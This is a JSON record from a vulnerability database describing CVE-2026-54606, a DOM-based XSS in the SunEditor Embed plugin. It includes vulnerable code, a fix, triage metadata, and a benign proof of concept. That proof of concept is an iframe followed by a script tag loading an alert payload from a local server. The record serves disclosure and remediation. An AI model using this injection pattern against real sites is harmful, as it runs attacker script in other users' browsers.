{"id":"CVE-2026-54606","kind":"vulnerability","aliases":["CVE-2026-54606","GHSA-w93q-cq9w-58p7"],"related":[],"title":"SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed","description":"Summary\n\nA DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.\n\nIf an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.\n\nDetails\n\nThe Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.\n\nRelevant behavior:\n\nconst embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children;\nif (/^script$/i.test(chd.nodeName)) {\n  scriptTag = dom.utils.createElement('script', {\n    src: chd.getAttribute('src'),\n    async: 'true'\n  }, null);\n  continue;\n}\ncover.appendChild(scriptTag);\n\nBecause the script is newly created and appended, it executes.\n\nPoC\n\nStart a local server hosting a JavaScript payload:\n\n```\nmkdir -p /tmp/suneditor-poc\ncd /tmp/suneditor-poc\n\ncat > poc.js <<'EOF'\nalert(1);\nconsole.log(\"SunEditor Embed Plugin XSS executed\");\nEOF\n\npython3 -m http.server 8000\n```\n\nOpen SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :\n\n`<iframe src=\"https://youtube.com/embed/x\"></iframe><script src=\"http://127.0.0.1:8000/poc.js\"></script>\n`\nSuccessful exploitation is confirmed when:\n\n`alert(1) appears`\n\nor the local server logs:\n\n`GET /poc.js`\n\nImpact\n\nAn attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.\n\nThe issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.\n\nSuggested Fix\n\nDo not recreate or append script elements from user-controlled embed HTML.\n\nMinimum mitigation:\n\n```\nif (/^script$/i.test(chd.nodeName)) {\n  continue;\n}\n```\n\nA stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.","summary":"The SunEditor Embed plugin recreates an attacker-supplied script element after a valid iframe and appends it to the live page, so the script runs. An attacker who can submit or store embed HTML can run JavaScript in another user's browser when that content is opened or rendered in SunEditor.","severity":"high","cvss":8.5,"epss":0.00581,"exploited":false,"exploited_at":null,"products":[{"name":"suneditor","fixed":["3.1.4"],"affected":">= 3.0.0, <= 3.1.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-79","javascript","npm","package","suneditor","web-editor"],"not_affected_if":["embed-plugin-disabled","server-side-sanitization","version-3.1.4-or-later"],"how_to_check":"- Check the installed suneditor version with `npm ls suneditor` and compare it to the affected range `>= 3.0.0, <= 3.1.3`.\n- Search your stored editor content and any HTML rendered from SunEditor output for `<script` elements that follow an `<iframe`.\n- Confirm whether the Embed plugin is enabled in your editor configuration.","fix":"- `suneditor` `3.1.4`\n- The advisory's minimum mitigation is to skip script nodes in embed HTML rather than recreating them; the stronger fix is to allow only iframe or blockquote elements and sanitize their attributes.","status":"open","published_at":"2026-08-26T15:26:24+00:00","first_seen_at":"2026-10-30T16:59:39+00:00","triaged_at":"2026-10-30T17:00:48+00:00","updated_at":"2026-10-30T17:01:26+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-30T17:00:48Z","model":"claude-haiku-5-5","output":{"fix":"- `suneditor` `3.1.4`\n- The advisory's minimum mitigation is to skip script nodes in embed HTML rather than recreating them; the stronger fix is to allow only iframe or blockquote elements and sanitize their attributes.","reach":"internet","title":"SunEditor: Embed plugin lets crafted HTML run JavaScript in editor pages","impact":"high","summary":"The SunEditor Embed plugin recreates an attacker-supplied script element after a valid iframe and appends it to the live page, so the script runs. An attacker who can submit or store embed HTML can run JavaScript in another user's browser when that content is opened or rendered in SunEditor.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","suneditor","javascript","web-editor"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker script runs in victims' browsers, enabling account actions and data access.","analyst_note":"","how_to_check":"- Check the installed suneditor version with `npm ls suneditor` and compare it to the affected range `>= 3.0.0, <= 3.1.3`.\n- Search your stored editor content and any HTML rendered from SunEditor output for `<script` elements that follow an `<iframe`.\n- Confirm whether the Embed plugin is enabled in your editor configuration.","plain_action":"","needs_analyst":false,"not_affected_if":["version-3.1.4-or-later","embed-plugin-disabled","server-side-sanitization"],"who_is_affected":"Applications that use the SunEditor npm package with the Embed plugin enabled and that store or render its content without a backend sanitizer. Pages that never enable the Embed plugin, or that sanitize HTML on the server before storing or displaying it, are much less exposed. Teams using only other editors or a fixed version of SunEditor can skip it.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000854,"input_tokens":5083,"output_tokens":692,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':15A,23A '-54606':16A,24A '-79':27B '/i.test':221C '/poc.js':126C '1':118C '58p7':21A 'access':166C 'account':156C 'action':157C 'addit':200C 'administr':194C 'alert':117C 'allow':155C,229C 'anoth':74B,142C 'appear':119C 'append':51B,208C 'arbitrari':139C 'attack':42B,62B,129C 'attacker-suppli':41B 'attribut':241C 'avail':170C 'backend':187C 'base':91C 'blockquot':238C 'browser':77B,145C 'chd.nodename':222C 'confirm':115C 'content':80B,148C,164C,182C 'continu':223C 'control':214C 'cq9w':20A 'craft':104C 'cross':93C 'cross-sit':92C 'cve':14A,22A 'cwe':26B 'data':169C 'discard':243C 'dom':5A,90C 'dom-bas':89C 'editor':34B,163C,173C,195C 'element':10A,45B,210C,233C,247C 'emb':2A,13A,37B,68B,102C,106C,135C,215C,232C 'especi':178C 'execut':138C 'exist':98C 'expect':231C 'exploit':113C 'extern':8A,111C 'fix':203C,226C 'follow':108C 'get':125C 'ghsa':18A 'ghsa-w93q-cq9w-58p7':17A 'html':69B,107C,136C,216C 'ifram':12A,49B,105C,236C 'impact':127C,179C 'issu':176C 'javascript':28B,72B,140C 'later':189C 'live':55B 'local':122C 'log':124C 'may':154C 'minimum':217C 'mitig':218C 'modif':161C 'npm':29B 'open':82B 'packag':30B 'page':56B,174C 'plugin':3A,38B,103C 'process':150C 'provid':132C 'recreat':39B,206C 'render':84B,192C 'reopen':190C 'run':60B,71B 'sanit':201C,239C 'script':9A,44B,59B,95C,209C,220C 'sensit':168C 'server':123C 'sibl':246C 'site':94C 'store':67B,134C,184C 'stronger':225C 'submit':65B 'success':112C 'suggest':202C 'summari':87C 'suneditor':1A,25A,31B,36B,86B,101C,152C,181C 'suppli':43B 'user':75B,143C,198C,213C 'user-control':212C 'valid':48B 'via':7A 'victim':160C 'vulner':97C 'w93q':19A 'web':33B 'web-editor':32B 'without':199C 'xss':6A,96C","nicknames":[],"mitigations":[],"who_affected":"Applications that use the SunEditor npm package with the Embed plugin enabled and that store or render its content without a backend sanitizer. Pages that never enable the Embed plugin, or that sanitize HTML on the server before storing or displaying it, are much less exposed. Teams using only other editors or a fixed version of SunEditor can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"first_public_at":"2026-08-26T15:26:24+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-w93q-cq9w-58p7","url":"https://github.com/advisories/GHSA-w93q-cq9w-58p7","severity":"high","published_at":"2026-08-26T15:26:24+00:00","modified_at":"2026-10-30T16:58:55+00:00","first_seen_at":"2026-10-30T16:59:39+00:00","fetched_at":"2026-10-30T18:35:23+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-54606","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54606","severity":null,"published_at":"2026-08-26T16:16:27+00:00","modified_at":"2026-09-09T21:09:13+00:00","first_seen_at":"2026-10-30T17:01:26+00:00","fetched_at":"2026-10-30T17:01:26+00:00","note":null}],"documents":[{"id":24711,"url":"https://api.github.com/repos/JiHong88/suneditor/security-advisories/GHSA-w93q-cq9w-58p7","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":24712,"url":"https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":24713,"url":"https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":24714,"url":"https://github.com/JiHong88/suneditor/releases/tag/3.1.4","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}